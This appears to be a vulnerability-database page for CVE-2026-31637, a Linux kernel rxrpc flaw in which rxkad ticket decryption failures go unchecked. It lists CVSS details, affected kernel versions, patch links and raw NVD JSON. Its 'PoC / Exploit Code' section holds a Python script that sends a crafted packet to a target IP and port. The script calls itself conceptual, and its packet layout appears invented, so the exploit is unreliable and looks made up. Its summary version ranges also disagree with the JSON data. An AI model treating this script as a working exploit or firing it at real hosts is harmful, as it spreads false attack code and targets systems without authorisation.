CVE-2026-31637

Description

In the Linux kernel, the following vulnerability has been resolved: rxrpc: reject undecryptable rxkad response tickets rxkad_decrypt_ticket() decrypts the RXKAD response ticket and then parses the buffer as plaintext without checking whether crypto_skcipher_decrypt() succeeded. A malformed RESPONSE can therefore use a non-block-aligned ticket length, make the decrypt operation fail, and still drive the ticket parser with attacker-controlled bytes. Check the decrypt result and abort the connection with RXKADBADTICKET when ticket decryption fails.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:2.6.22:-:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.6 (Specific commits apply)

Linux Kernel < 6.1 (Specific commits apply)

Linux Kernel stable branches prior to patches 22f6258e7b31dba9bf88dce4e3ee7f0f20072e60, 47073aab8a3a5a7b41c9bd37d2a3dcbeeccd6c8a, etc.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-31637: rxkad ticket decryption bypass
# This script attempts to send a malformed RXRPC packet to trigger the vulnerability.
# Note: Target must be running a vulnerable Linux Kernel version.

import socket
import struct

def send_malformed_rxrpc(target_ip, target_port):
    """
    Sends a crafted RXRPC packet with non-block-aligned ticket length
    to trigger the parsing of attacker-controlled bytes.
    """
    try:
        # Create a raw socket (requires root privileges)
        # Protocol number for RXRPC might vary, this is a conceptual example
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
        
        # Construct a malformed packet header (Simplified structure)
        # Real RXRPC structure is complex, this focuses on the concept
        # of sending invalid length data.
        packet_magic = b"\x52\x58\x00\x00"  # RXRPC magic bytes
        malformed_ticket_len = struct.pack('!I', 0x13) # Non-block-aligned length
        payload = packet_magic + malformed_ticket_len + b"A" * 100 # Attacker controlled bytes
        
        print(f"[*] Sending malformed packet to {target_ip}:{target_port}")
        sock.sendto(payload, (target_ip, target_port))
        print("[+] Packet sent.")
        sock.close()
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 3:
        print("Usage: python3 poc.py <target_ip> <target_port>")
    else:
        send_malformed_rxrpc(sys.argv[1], int(sys.argv[2]))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31637
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31637
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31637/
[4] VulDB https://vuldb.com/cve/CVE-2026-31637
[5] https://git.kernel.org/stable/c/22f6258e7b31dba9bf88dce4e3ee7f0f20072e60
[6] https://git.kernel.org/stable/c/47073aab8a3a5a7b41c9bd37d2a3dcbeeccd6c8a
[7] https://git.kernel.org/stable/c/58fcd1b156152613ba00a064a129fb69507ddd7d
[8] https://git.kernel.org/stable/c/a149dcae23309df9de1c3b6b5d468610ef5ab7de
[9] https://git.kernel.org/stable/c/fe4447cd95623b1cfacc15f280aab73a6d7340b2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31637", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:43.020", "lastModified": "2026-04-27T20:20:48.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: reject undecryptable rxkad response tickets\n\nrxkad_decrypt_ticket() decrypts the RXKAD response ticket and then\nparses the buffer as plaintext without checking whether\ncrypto_skcipher_decrypt() succeeded.\n\nA malformed RESPONSE can therefore use a non-block-aligned ticket\nlength, make the decrypt operation fail, and still drive the ticket\nparser with attacker-controlled bytes.\n\nCheck the decrypt result and abort the connection with RXKADBADTICKET\nwhen ticket decryption fails."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.22.1", "versionEndExcluding": "6.6.135", "matchCriteriaId": "CF3437DE-9B4D-4F70-8EDD-552E0695376B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.82", "matchCriteriaId": "02904CAE-71D2-45B3-9EC3-F6A9D18B6307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.23", "matchCriteriaId": "E9E09FDD-9EE3-4A56-92E2-2B30AFD0072F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.22:-:*:*:*:*:*:*", "matchCriteriaId": "7F7D6C66-3384-4ACC-9D08-C5A26B4FD004"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/22f6258e7b31dba9bf88dce4e3ee7f0f20072e60", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/47073aab8a3a5a7b41c9bd37d2a3dcbeeccd6c8a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/58fcd1b156152613ba00a064a129fb69507ddd7d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a149dcae23309df9de1c3b6b5d468610ef5ab7de", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fe4447cd95623b1cfacc15f280aab73a6d7340b2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}